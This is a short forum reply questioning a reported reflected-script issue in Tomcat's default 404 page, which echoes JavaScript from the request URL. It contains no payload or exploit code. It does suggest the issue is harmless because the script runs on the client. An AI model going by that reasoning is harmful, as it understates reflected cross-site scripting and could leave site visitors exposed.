Howdy, I'm not a big security buff, but three things come to mind: - The original post with the "exploit" is more than a year old, yet we haven't heard anything about this actually used maliciously -- how come? - Is it really a vulnerability? What can you get from this "exploit"? All I see is tomcat returning a 404 (not found) response with the javascript specified in the GET request, but javascript is executed on the client anyhow, so who cares? - What would the fix be? Not include the requested URL in the default 404 response page?
